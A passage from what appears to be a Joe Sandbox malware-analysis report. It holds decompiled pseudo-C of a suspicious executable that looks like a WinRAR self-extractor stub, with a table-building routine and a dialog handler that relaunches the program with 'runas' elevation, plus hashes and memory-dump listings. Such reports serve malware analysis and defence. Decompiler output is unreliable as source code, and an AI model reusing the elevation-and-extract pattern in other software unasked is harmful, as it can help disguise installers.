								if(_t340 == 0 || _v1452 == _t354) {
									_t354 = 0;
								}
								return _t354;
							}
							_t228 =  &_v1420 + _t286 * 4;
							_v1432 = _a24;
							_t300 = _v1484;
							_v1440 = _t228;
							do {
								_t229 =  *_t228;
								while(_t229 != 0) {
									_v1476 = _t229;
									_v1448 = _t229 - 1;
									if(_t286 <=  *(_t359 + 0xe0 + _t344 * 4) + _t327) {
										L49:
										_v1463 = _t286 - _t327;
										if(_t300 < _t359 + 0x160 + _v1428 * 4) {
											_t301 =  *_t300;
											_t238 = _v1484 + 4;
											_v1476 = _t238;
											if(_t301 >= _a12) {
												_t302 = _t301 - _a12;
												_v1464 =  *((intOrPtr*)(_t302 + _a20));
												_t242 =  *((intOrPtr*)(_a16 + _t302 * 2));
											} else {
												_v1464 = (_t238 & 0xffffff00 | _t301 - 0x00000100 > 0x00000000) + 0x1f;
												_t242 =  *_v1484;
											}
											_v1460 = _t242;
											_v1484 = _v1476;
										} else {
											_v1464 = 0x63;
										}
										_t245 = _t354 << _t286 - _t327;
										_t288 = _v1488 >> _t327;
										_v1476 = _t245;
										if(_t288 >= _v1480) {
											L59:
											_t286 = _v1468;
											_t247 = _t354 << _t286 - 1;
											_t307 = _v1488;
											while((_t307 & _t247) != 0) {
												_t307 = _t307 ^ _t247;
												_t247 = _t247 >> 1;
											}
											_v1488 = _t307 ^ _t247;
											if(((_t354 << _t327) - 0x00000001 & _v1488) ==  *((intOrPtr*)(_t359 + 0x98 + _t344 * 4))) {
												L66:
												_t229 = _v1448;
												_t300 = _v1484;
												continue;
											}
											_t289 = _v1488;
											do {
												_t327 = _t327 -  *((intOrPtr*)(_t359 + 0xdc + _t344 * 4));
												_t344 = _t344 - 1;
											} while (((_t354 << _t327) - 0x00000001 & _t289) !=  *((intOrPtr*)(_t359 + 0x98 + _t344 * 4)));
											_t286 = _v1468;
											_v1456 = _t344;
											_v1472 = _t327;
											goto L66;
										} else {
											_t355 = _v1464;
											_t324 = _t245;
											_t345 = _v1444;
											_t328 = _v1480;
											do {
												 *((intOrPtr*)(_t345 + _t288 * 8)) = _t355;
												 *((intOrPtr*)(_t345 + 4 + _t288 * 8)) = _v1460;
												_t288 = _t288 + _t324;
											} while (_t288 < _t328);
											_t327 = _v1472;
											_t340 = _v1424;
											_t354 = 1;
											_t344 = _v1456;
											goto L59;
										}
									} else {
										goto L34;
									}
									do {
										L34:
										_t329 = _t327 +  *(_t359 + 0xe0 + _t344 * 4);
										_t261 = _v1452 - _t329;
										_v1472 = _t329;
										_v1456 = _t344 + 1;
										_t311 =  *_a28;
										_v1480 = _t261;
										if(_t261 > _t311) {
											_v1480 = _t311;
										}
										_t290 = _t286 - _t329;
										_t348 = _t354 << _t290;
										if(_t348 <= _v1476) {
											L41:
											_t313 = _v1436;
											if(_t329 + _t290 > _t313 && _t329 < _t313) {
												_t290 = _t313 - _t329;
											}
											_t344 = _v1456;
											_t264 = _t354 << _t290;
											_v1480 = _t264;
											 *(_t359 + 0xe0 + _t344 * 4) = _t290;
											_push(8 + _t264 * 8); // executed
											_t266 = E0087AA2B(_t290); // executed
											if(_t266 == 0) {
												if(_t344 == 0) {
													L77:
													_push(3);
													goto L22;
												}
												_t267 = _v1216;
												if(_t267 == 0) {
													goto L77;
												} else {
													goto L76;
												}
												do {
													L76:
													_t349 =  *((intOrPtr*)(_t267 - 4));
													L008787AE(_t267 - 8);
													_t267 = _t349;
												} while (_t349 != 0);
												goto L77;
											} else {
												goto L45;
											}
										} else {
											_t322 = _v1440;
											_t350 = _t348 + (_t261 | 0xffffffff) - _v1448;
											_t278 = _v1480;
											while(1) {
												_t290 = _t290 + 1;
												if(_t290 >= _t278) {
													goto L41;
												}
												_t351 = _t350 + _t350;
												_t322 = _t322 + 4;
												if(_t351 <=  *_t322) {
													goto L41;
												}
												_t350 = _t351 -  *_t322;
											}
											goto L41;
										}
										L45:
										_t106 = _t266 + 8; // 0x8
										_t317 = _t106;
										_t270 = _t266 + 4;
										_v1444 = _t317;
										_v1432 = _t270;
										 *(_t359 + 0x120 + _t344 * 4) = _t317;
										 *_v1432 = _t317;
										 *_t270 =  *_t270 & 0x00000000;
										if(_t344 != 0) {
											_v1460 = _t317;
											 *((intOrPtr*)(_t359 + 0x98 + _t344 * 4)) = _v1488;
											_v1463 =  *((intOrPtr*)(_t359 + 0xdc + _t344 * 4));
											_t335 = ((_t354 << _v1472) - 0x00000001 & _v1488) >> _v1472 -  *((intOrPtr*)(_t359 + 0xdc + _t344 * 4));
											_v1464 = _t290 + 0x20;
											_t275 =  *((intOrPtr*)(_t359 + 0x11c + _t344 * 4));
											 *((intOrPtr*)(_t275 + _t335 * 8)) = _v1464;
											 *(_t275 + 4 + _t335 * 8) = _v1444;
										}
										_t327 = _v1472;
										_t286 = _v1468;
									} while (_t286 > _t327 + _t290);
									_t300 = _v1484;
									goto L49;
								}
								_t286 = _t286 + 1;
								_t228 = _v1440 + 4;
								_v1468 = _t286;
								_v1440 = _t228;
							} while (_t286 <= _v1452);
							goto L69;
						}
						_t280 = 0;
						do {
							_t295 = _t295 +  *((intOrPtr*)(_t358 + _t280 + 0x58));
							_t280 = _t280 + 4;
							 *((intOrPtr*)(_t358 + _t280 + 0x9c)) = _t295;
							_t342 = _t342 - 1;
						} while (_t342 != 0);
						goto L26;
					}
					goto L21;
				}
				 *_a24 = 0;
				 *_a28 = 0;
				return 0;
			}

0x0086a825
0x0086a82c
0x0086a834
0x0086a83f
0x0086a846
0x0086a854
0x0086a848
0x0086a84e
0x0086a84e
0x0086a862
0x0086a867
0x0086a86a
0x0086a86c
0x0086a86e
0x0086a86e
0x0086a870
0x0086a873
0x0086a877
0x0086a877
0x0086a880
0x0086a89d
0x0086a89e
0x0086a8a0
0x0086a8a6
0x0086a8a9
0x00000000
0x00000000
0x00000000
0x0086a8a9
0x0086a8ab
0x0086a8b2
0x0086a8b8
0x0086a8ba
0x0086a8ba
0x0086a8bc
0x0086a8c2
0x0086a8c5
0x00000000
0x00000000
0x00000000
0x0086a8c5
0x0086a8c7
0x0086a8cd
0x0086a8cf
0x0086a8cf
0x0086a8d3
0x0086a8e0
0x0086a8d7
0x0086a8db
0x0086a8f9
0x0086a8f9
0x0086a8fb
0x0086a8fb
0x00000000
0x0086a8fb
0x0086a8dd
0x0086a8de
0x0086a8de
0x0086a8e6
0x0086a8e8
0x0086a8eb
0x0086a8ef
0x0086a8f3
0x0086a8f7
0x0086a901
0x0086a905
0x0086a907
0x0086a90e
0x0086a911
0x0086a928
0x0086a937
0x0086a93c
0x0086a943
0x0086a946
0x0086a948
0x0086a948
0x0086a94a
0x0086a94f
0x0086a951
0x0086a958
0x0086a960
0x0086a960
0x0086a967
0x0086a968
0x0086a977
0x0086a97b
0x0086a97e
0x0086a982
0x0086a98d
0x0086a993
0x0086a995
0x0086a999
0x0086a9a0
0x0086a9a7
0x0086a9ab
0x0086a9b2
0x0086a9b6
0x0086a9be
0x0086ac67
0x0086ac75
0x0086ac79
0x0086ac81
0x0086ac81
0x00000000
0x0086ac83
0x0086a9cf
0x0086a9d2
0x0086a9d6
0x0086a9da
0x0086a9de
0x0086a9de
0x0086ac45
0x0086a9e5
0x0086a9ea
0x0086a9f9
0x0086ab1f
0x0086ab23
0x0086ab34
0x0086ab41
0x0086ab43
0x0086ab46
0x0086ab51
0x0086ab6b
0x0086ab7c
0x0086ab87
0x0086ab53
0x0086ab5e
0x0086ab66
0x0086ab66
0x0086ab8b
0x0086ab94
0x0086ab36
0x0086ab36
0x0086ab36
0x0086aba2
0x0086aba6
0x0086aba8
0x0086abb0
0x0086abe0
0x0086abe0
0x0086abe9
0x0086abeb
0x0086abf5
0x0086abf1
0x0086abf3
0x0086abf3
0x0086abfd
0x0086ac11
0x0086ac3d
0x0086ac3d
0x0086ac41
0x00000000
0x0086ac41
0x0086ac13
0x0086ac17
0x0086ac17
0x0086ac1e
0x0086ac28
0x0086ac31
0x0086ac35
0x0086ac39
0x00000000
0x0086abb2
0x0086abb2
0x0086abb6
0x0086abb8
0x0086abbc
0x0086abc0
0x0086abc4
0x0086abc7
0x0086abcb
0x0086abcd
0x0086abd1
0x0086abd7
0x0086abdb
0x0086abdc
0x00000000
0x0086abdc
0x00000000
0x00000000
0x00000000
0x0086a9ff
0x0086a9ff
0x0086a9ff
0x0086aa12
0x0086aa14
0x0086aa18
0x0086aa1c
0x0086aa1e
0x0086aa24
0x0086aa26
0x0086aa26
0x0086aa2a
0x0086aa30
0x0086aa36
0x0086aa5b
0x0086aa5b
0x0086aa64
0x0086aa6c
0x0086aa6c
0x0086aa6e
0x0086aa76
0x0086aa78
0x0086aa7c
0x0086aa8a
0x0086aa8b
0x0086aa93
0x0086ac94
0x0086acb4
0x0086acb4
0x00000000
0x0086acb4
0x0086ac96
0x0086ac9f
0x00000000
0x00000000
0x00000000
0x00000000
0x0086aca1
0x0086aca1
0x0086aca1
0x0086aca8
0x0086acad
0x0086acb0
0x00000000
0x00000000
0x00000000
0x00000000
0x0086aa38
0x0086aa38
0x0086aa43
0x0086aa45
0x0086aa56
0x0086aa56
0x0086aa59
0x00000000
0x00000000
0x0086aa4b
0x0086aa4d
0x0086aa52
0x00000000
0x00000000
0x0086aa54
0x0086aa54
0x00000000
0x0086aa56
0x0086aa99
0x0086aa9d
0x0086aa9d
0x0086aaa0
0x0086aaa3
0x0086aaa7
0x0086aaab
0x0086aab2
0x0086aab4
0x0086aab9
0x0086aac1
0x0086aad7
0x0086aae5
0x0086aaec
0x0086aaee
0x0086aaf2
0x0086aafd
0x0086ab04
0x0086ab04
0x0086ab08
0x0086ab0f
0x0086ab13
0x0086ab1b
0x00000000
0x0086ab1b
0x0086ac51
0x0086ac52
0x0086ac55
0x0086ac59
0x0086ac5d
0x00000000
0x0086a9de
0x0086a913
0x0086a915
0x0086a915
0x0086a919
0x0086a91c
0x0086a923
0x0086a923
0x00000000
0x0086a915
0x00000000
0x0086a8f7
0x0086a889
0x0086a892
0x00000000

Strings

c, xrefs: 0086AB36

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: be3f81a24b3da9221c3072d40824ff712a25bad0e9abaaa1176f4241c7d02ccb
Instruction ID: caa9fc0860809e904ec981340e5f917a9ad023c4bbbd75db2cc69bbc1d236f6d
Opcode Fuzzy Hash: be3f81a24b3da9221c3072d40824ff712a25bad0e9abaaa1176f4241c7d02ccb
Instruction Fuzzy Hash: 09E15571A083558FC729DF28D480A6ABBE5FB89318F11492EE89AE7341D730E945CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00874705 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00874705() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00874720); // executed
				return _t1;
			}

0x0087470a
0x00874710

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00014720,00874095), ref: 0087470A

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7b9f855424724ea93c267615e992fa1830d4373dd12d66982adeaee763dd61fa
Instruction ID: a7a99633acbb82bcfc6250ea296f57224970e68993e451b4289ffe7d032d491f
Opcode Fuzzy Hash: 7b9f855424724ea93c267615e992fa1830d4373dd12d66982adeaee763dd61fa
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00870830 Relevance: 105.7, APIs: 49, Strings: 11, Instructions: 727
windowfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00870830(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t105;
				int _t106;
				long _t108;
				long _t109;
				struct HWND__* _t110;
				struct HWND__* _t114;
				void* _t118;
				void* _t135;
				void* _t139;
				signed int _t152;
				struct HWND__* _t155;
				void* _t173;
				int _t186;
				signed int _t201;
				void* _t202;
				long _t210;
				void* _t220;
				void* _t234;
				signed int _t244;
				void* _t245;
				void* _t260;
				long _t262;
				long _t263;
				long _t264;
				int _t278;
				int _t280;
				void* _t285;
				void* _t289;
				int _t293;
				void* _t296;
				WCHAR* _t298;
				intOrPtr _t299;
				intOrPtr _t300;
				struct HWND__* _t311;
				intOrPtr _t314;
				void* _t316;
				struct HWND__* _t317;
				void* _t318;
				struct HWND__* _t320;
				long _t321;
				struct HWND__* _t322;
				intOrPtr _t323;
				void* _t325;
				void* _t327;
				void* _t328;
				void* _t330;

				_t309 = __edx;
				_t296 = __ecx;
				E00873A94(0x887112, _t328);
				E00873AC0(0xfe80);
				_t314 =  *((intOrPtr*)(_t328 + 0xc));
				_t311 =  *(_t328 + 8);
				_t105 = E008611E6(__edx, _t311, _t314,  *(_t328 + 0x10),  *((intOrPtr*)(_t328 + 0x14)), L"STARTDLG", 0, 0);
				_t293 = 1;
				if(_t105 != 0) {
					L126:
					_t106 = _t293;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t328 - 0xc));
					return _t106;
				}
				_t316 = _t314 - 0x110;
				if(_t316 == 0) {
					_push(_t311);
					E008726DE(_t296, __edx, __eflags, __fp0);
					_t108 =  *0x8be1c4;
					 *0x8aea18 = _t311;
					 *0x8aea28 = _t311;
					__eflags = _t108;
					if(_t108 != 0) {
						SendMessageW(_t311, 0x80, 1, _t108);
					}
					_t109 =  *0x8c52cc; // 0x1f050a80
					__eflags = _t109;
					if(_t109 != 0) {
						SendDlgItemMessageW(_t311, 0x6c, 0x172, 0, _t109); // executed
					}
					_t110 = GetDlgItem(_t311, 0x68);
					 *(_t328 - 0x14) = _t110;
					SendMessageW(_t110, 0x435, 0, 0x400000);
					E0086F86D(_t328 - 0x3474, 0x800);
					_t114 = GetDlgItem(_t311, 0x66);
					__eflags =  *0x8b0a42;
					_t317 = _t114;
					 *(_t328 - 0x18) = _t317;
					_t298 = 0x8b0a42;
					if( *0x8b0a42 == 0) {
						_t298 = _t328 - 0x3474;
					}
					SetWindowTextW(_t317, _t298);
					E0086FDCB(_t317); // executed
					 *0x8aea33 = 0; // executed
					E0086E108(_t309, _t317, __eflags, "C:\Users\engineer\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe", 0x8c62d8, 0x8c62e8); // executed
					__eflags =  *0x8c62e8;
					if( *0x8c62e8 > 0) {
						_push(7);
						_push( *0x8c62d8);
						_push(_t311);
						E0087177D(_t309, _t311);
					}
					__eflags =  *0x8b2b57;
					if( *0x8b2b57 == 0) {
						SetDlgItemTextW(_t311, 0x6b, E00864C77(0xbf));
						SetDlgItemTextW(_t311, _t293, E00864C77(0xbe));
					}
					__eflags =  *0x8c62e8;
					if( *0x8c62e8 <= 0) {
						L102:
						__eflags =  *0x8aea33;
						if( *0x8aea33 != 0) {
							L114:
							__eflags =  *0x8b0a3c - 2;
							if( *0x8b0a3c == 2) {
								EnableWindow(_t317, 0);
							}
							__eflags =  *0x8afa38;
							if( *0x8afa38 != 0) {
								E008611A3(_t311, 0x67, 0);
								E008611A3(_t311, 0x66, 0);
							}
							_t118 =  *0x8b0a3c;
							__eflags = _t118;
							if(_t118 != 0) {
								__eflags =  *0x8aea1c;
								if( *0x8aea1c == 0) {
									_push(0);
									_push(_t293);
									_push(0x111);
									_push(_t311);
									__eflags = _t118 - _t293;
									if(_t118 != _t293) {
										 *0x8c908c();
									} else {
										SendMessageW(); // executed
									}
								}
							}
							__eflags =  *0x8aea1e;
							if( *0x8aea1e != 0) {
								_push(E00864C77(0x90));
								_push(_t293);
								L125:
								SetDlgItemTextW(_t311, ??, ??);
							}
							goto L126;
						}
						__eflags =  *0x8c62dc;
						if( *0x8c62dc != 0) {
							goto L114;
						}
						__eflags =  *0x8b0a3c;
						if( *0x8b0a3c != 0) {
							goto L114;
						}
						__eflags = 0;
						_t318 = 0xaa;
						 *((short*)(_t328 - 0x7874)) = 0;
						goto L106;
						do {
							while(1) {
								L106:
								__eflags = _t318 - 0xaa;
								if(_t318 != 0xaa) {
									goto L108;
								}
								__eflags =  *0x8b2b57;
								if( *0x8b2b57 == 0) {
									break;
								}
								L108:
								__eflags = _t318 - 0xab;
								if(__eflags != 0) {
									L111:
									E008668A5(__eflags, _t328 - 0x7874, " ", 0x2000);
									E008668A5(__eflags, _t328 - 0x7874, E00864C77(_t318), 0x2000);
									break;
								}
								__eflags =  *0x8b2b57;
								if(__eflags == 0) {
									goto L111;
								}
								_t318 = _t318 + 1;
							}
							_t318 = _t318 + 1;
							__eflags = _t318 - 0xb0;
						} while (__eflags <= 0);
						_t299 =  *0x8aea08; // 0x0
						E0086F0F5(_t299, __eflags,  *0x8aea24,  *(_t328 - 0x14), _t328 - 0x7874, 0, 0);
						_t317 =  *(_t328 - 0x18);
						goto L114;
					} else {
						_push(0);
						_push( *0x8c62d8);
						_push(_t311); // executed
						E0087177D(_t309, _t311); // executed
						_t135 =  *0x8c62dc;
						__eflags = _t135;
						if(_t135 != 0) {
							__eflags =  *0x8b0a3c;
							if(__eflags == 0) {
								_t300 =  *0x8aea08; // 0x0
								E0086F0F5(_t300, __eflags,  *0x8aea24,  *(_t328 - 0x14), _t135, 0, 0);
								L008787AE( *0x8c62dc);
							}
						}
						__eflags =  *0x8b0a3c - _t293;
						if( *0x8b0a3c == _t293) {
							L101:
							_push(_t293);
							_push( *0x8c62d8);
							_push(_t311);
							E0087177D(_t309, _t311);
							goto L102;
						} else {
							 *0x8c90ac(_t311);
							__eflags =  *0x8b0a3c - _t293;
							if( *0x8b0a3c == _t293) {
								goto L101;
							}
							__eflags =  *0x8b0a41;
							if( *0x8b0a41 != 0) {
								goto L101;
							}
							_push(3);
							_push( *0x8c62d8);
							_push(_t311);
							E0087177D(_t309, _t311);
							__eflags =  *0x8c62e0;
							if( *0x8c62e0 == 0) {
								goto L101;
							}
							_t139 = DialogBoxParamW( *0x8aea24, L"LICENSEDLG", 0, E00870600, 0);
							__eflags = _t139;
							if(_t139 == 0) {
								L23:
								 *0x8aea1c = _t293;
								L24:
								_push(_t293);
								L25:
								EndDialog(_t311, ??); // executed
								goto L126;
							}
							goto L101;
						}
					}
				}
				if(_t316 != 1) {
					L6:
					_t106 = 0;
					goto L127;
				}
				_t152 = ( *(_t328 + 0x10) & 0x0000ffff) - 1;
				if(_t152 == 0) {
					__eflags =  *0x8aea1d;
					if( *0x8aea1d != 0) {
						L21:
						GetDlgItemTextW(_t311, 0x66, _t328 - 0x2474, 0x800);
						__eflags =  *0x8aea1d;
						if( *0x8aea1d == 0) {
							__eflags =  *0x8aea1e;
							if( *0x8aea1e == 0) {
								_t155 = GetDlgItem(_t311, 0x68);
								__eflags =  *0x8aea2c;
								_t320 = _t155;
								if( *0x8aea2c == 0) {
									SendMessageW(_t320, 0xb1, 0, 0xffffffff);
									SendMessageW(_t320, 0xc2, 0, 0x888574);
								}
								SetFocus(_t320);
								__eflags =  *0x8afa38;
								if( *0x8afa38 == 0) {
									_t321 = 0x800;
									E008668CD(_t328 - 0x1474, _t328 - 0x2474, 0x800);
									E00872491(_t296, _t328 - 0x1474, 0x800);
									E008639A9(_t328 - 0x4974, 0x880, E00864C77(0xb9), _t328 - 0x1474);
									_t330 = _t330 + 0x10;
									_push(_t328 - 0x4974);
									_push(0);
									E00872512();
								} else {
									_push(E00864C77(0xba));
									_push(0);
									E00872512();
									_t321 = 0x800;
								}
								__eflags =  *0x8b0a41;
								if( *0x8b0a41 == 0) {
									E00872B63(_t328 - 0x2474);
								}
								 *(_t328 - 0xd) = 0;
								E00862551(_t293, _t296, _t311, _t328, _t328 - 0x2474, 0, 0);
								__eflags = 0;
								if(0 != 0) {
									L39:
									_t302 = E0086FE24(_t328 - 0x2474);
									 *((char*)(_t328 - 0xe)) = _t302;
									__eflags = _t302;
									if(_t302 == 0) {
										_t263 = GetLastError();
										_t302 =  *((intOrPtr*)(_t328 - 0xe));
										__eflags = _t263 - 5;
										if(_t263 == 5) {
											 *(_t328 - 0xd) = _t293;
										}
									}
									_t173 =  *0x8b0a41;
									__eflags = _t173;
									if(_t173 != 0) {
										L48:
										__eflags =  *((char*)(_t328 - 0xe));
										if( *((char*)(_t328 - 0xe)) != 0) {
											 *0x8aea14 = _t293;
											E008611C1(_t311, 0x67, 0);
											E008611C1(_t311, 0x66, 0);
											SetDlgItemTextW(_t311, _t293, E00864C77(0xe6)); // executed
											E008611C1(_t311, 0x69, _t293);
											SetDlgItemTextW(_t311, 0x65, 0x888574); // executed
											_t322 = GetDlgItem(_t311, 0x65);
											__eflags = _t322;
											if(_t322 != 0) {
												_t210 = GetWindowLongW(_t322, 0xfffffff0) | 0x00000080;
												__eflags = _t210;
												SetWindowLongW(_t322, 0xfffffff0, _t210);
											}
											_push(5);
											_push( *0x8c62d8);
											_push(_t311);
											E0087177D(_t309, _t311);
											_push(2);
											_push( *0x8c62d8);
											_push(_t311);
											E0087177D(_t309, _t311);
											_push("C:\Users\engineer\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe");
											_push(_t311);
											 *0x8c8300 = _t293; // executed
											E00872A92(_t302, _t309, __eflags); // executed
											_push(6);
											_push( *0x8c62d8);
											 *0x8c8300 = 0;
											_push(_t311);
											E0087177D(_t309, _t311);
											__eflags =  *0x8aea1c;
											if( *0x8aea1c == 0) {
												__eflags =  *0x8aea2c;
												if( *0x8aea2c == 0) {
													__eflags =  *0x8c62f4;
													if( *0x8c62f4 == 0) {
														_push(4);
														_push( *0x8c62d8);
														_push(_t311); // executed
														E0087177D(_t309, _t311); // executed
													}
												}
											}
											E008611A3(_t311, _t293, _t293);
											 *0x8aea14 =  *0x8aea14 & 0x00000000;
											__eflags =  *0x8aea14;
											_t186 =  *0x8aea1c; // 0x1
											goto L73;
										}
										__eflags = _t173;
										if(_t173 != 0) {
											goto L65;
										}
										goto L50;
									} else {
										__eflags = _t302;
										if(_t302 == 0) {
											L50:
											_t220 =  *(_t328 - 0xd);
											__eflags = _t220;
											 *(_t328 - 0xd) = _t220 == 0;
											__eflags = _t220;
											if(_t220 == 0) {
												L64:
												__eflags =  *(_t328 - 0xd);
												if( *(_t328 - 0xd) == 0) {
													L11:
													_push(0);
													goto L25;
												}
												L65:
												_push(E00864C77(0x9a));
												E008639A9(_t328 - 0x3874, 0xa00, L"\"%s\"\n%s", _t328 - 0x2474);
												E008618F4(0x8b2b44, _t293);
												E0086FA04(_t311, _t328 - 0x3874, E00864C77(0x96), 0x30);
												 *0x8aea2c =  *0x8aea2c + 1;
												goto L11;
											}
											GetModuleFileNameW(0, _t328 - 0x3474, _t321);
											_push(0x80);
											_push(_t328 - 0x574);
											E008657F2(0x8b2a42, _t309);
											_push(0x8b1a42);
											E008639A9(_t328 - 0xfe8c, 0x430c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t328 - 0x2474);
											_t330 = _t330 + 0x14;
											 *(_t328 - 0x58) = 0x3c;
											 *((intOrPtr*)(_t328 - 0x54)) = 0x40;
											 *((intOrPtr*)(_t328 - 0x48)) = _t328 - 0x3474;
											 *((intOrPtr*)(_t328 - 0x44)) = _t328 - 0xfe8c;
											 *(_t328 - 0x50) = _t311;
											 *((intOrPtr*)(_t328 - 0x4c)) = L"runas";
											 *(_t328 - 0x3c) = _t293;
											 *((intOrPtr*)(_t328 - 0x38)) = 0;
											 *((intOrPtr*)(_t328 - 0x40)) = 0x8aea38;
											_t325 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7104, L"winrarsfxmappingfile.tmp");
											 *(_t328 - 0x14) = _t325;
											__eflags = _t325;
											if(_t325 == 0) {
												 *(_t328 - 0x1c) =  *(_t328 - 0x14);
											} else {
												 *0x8be1c8 = 0;
												_t245 = GetCommandLineW();
												__eflags = _t245;
												if(_t245 != 0) {
													E008668CD(0x8be1ca, _t245, 0x2000);
												}
												E00870465(0x8b2a42, 0x8c21ca, 7);
												E00870465(0x8b2a42, 0x8c31ca, 2);
												E00870465(0x8b2a42, 0x8c41ca, 0x10);
												 *0x8c52cb = _t293;
												E00865960(_t293, 0x8c51ca, _t328 - 0x574);
												 *(_t328 - 0x1c) = MapViewOfFile(_t325, 2, 0, 0, 0);
												E00875220(_t252, 0x8be1c8, 0x7104);
												_t330 = _t330 + 0xc;
											}
											_t234 = ShellExecuteExW(_t328 - 0x58);
											E008659AB(_t328 - 0x574, 0x80);
											E008659AB(_t328 - 0xfe8c, 0x430c);
											__eflags = _t234;
											if(_t234 == 0) {
												_t327 =  *(_t328 - 0x1c);
												 *(_t328 - 0xd) = _t293;
												goto L62;
											} else {
												WaitForInputIdle( *(_t328 - 0x20), 0x2710);
												_t67 = _t328 - 0x18;
												 *_t67 =  *(_t328 - 0x18) & 0x00000000;
												__eflags =  *_t67;
												_t327 =  *(_t328 - 0x1c);
												while(1) {
													__eflags =  *_t327;
													if( *_t327 != 0) {
														break;
													}
													Sleep(0x64);
													_t244 =  *(_t328 - 0x18) + 1;
													 *(_t328 - 0x18) = _t244;
													__eflags = _t244 - 0x64;
													if(_t244 < 0x64) {
														continue;
													}
													break;
												}
												 *0x8c62f4 =  *(_t328 - 0x20);
												L62:
												__eflags =  *(_t328 - 0x14);
												if( *(_t328 - 0x14) != 0) {
													UnmapViewOfFile(_t327);
													CloseHandle( *(_t328 - 0x14));
												}
												goto L64;
											}
										}
										E008639A9(_t328 - 0x1474, _t321, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
										_t330 = _t330 + 0x10;
										E00861A7F(_t328 - 0x34ac);
										 *(_t328 - 4) =  *(_t328 - 4) & 0x00000000;
										_t260 = E00861BBE(_t328 - 0x34ac, _t328 - 0x1474, 0x11);
										 *((char*)(_t328 - 0xe)) = _t260;
										__eflags = _t260;
										if(_t260 == 0) {
											_t262 = GetLastError();
											__eflags = _t262 - 5;
											if(_t262 == 5) {
												 *(_t328 - 0xd) = _t293;
											}
										}
										_t37 = _t328 - 4;
										 *_t37 =  *(_t328 - 4) | 0xffffffff;
										__eflags =  *_t37;
										_t302 = _t328 - 0x34ac;
										E00861AEC(_t328 - 0x34ac); // executed
										_t173 =  *0x8b0a41;
										goto L48;
									}
								} else {
									_t264 = GetLastError();
									__eflags = _t264 - 5;
									if(_t264 == 5) {
										L38:
										 *(_t328 - 0xd) = _t293;
										goto L39;
									}
									__eflags = _t264 - 3;
									if(_t264 != 3) {
										goto L39;
									}
									goto L38;
								}
							} else {
								_t186 = _t293;
								 *0x8aea1c = _t186;
								L73:
								__eflags =  *0x8aea2c;
								if( *0x8aea2c <= 0) {
									goto L24;
								}
								__eflags = _t186;
								if(_t186 != 0) {
									goto L24;
								}
								 *0x8aea1d = _t293;
								SetDlgItemTextW(_t311, _t293, E00864C77(0x90));
								_t323 =  *0x8b2b44;
								__eflags = _t323 - 9;
								if(_t323 != 9) {
									__eflags = _t323 - 3;
									_t193 = ((_t323 != 0x00000003) - 0x00000001 & 0x0000000b) + 0x97;
									__eflags = ((_t323 != 0x00000003) - 0x00000001 & 0x0000000b) + 0x97;
								} else {
									_t193 = 0xa0;
								}
								E008668CD(_t328 - 0x474, E00864C77(_t193), 0x200);
								__eflags = _t323 - 9;
								if(_t323 == 9) {
									__eflags =  *0x8b2b54;
									if( *0x8b2b54 != 0) {
										_t201 = E00878793(_t328 - 0x474);
										_t202 = E00864C77(0xa1);
										__eflags = 0x200;
										E008639A9(_t328 - 0x474 + _t201 * 2, 0x200 - _t201, L"\n%s", _t202);
									}
								}
								E0086FA04(_t311, _t328 - 0x474, E00864C77(0x96), 0x30);
								goto L126;
							}
						}
						_t293 = 1;
						__eflags =  *0x8aea1e;
						if( *0x8aea1e == 0) {
							goto L24;
						}
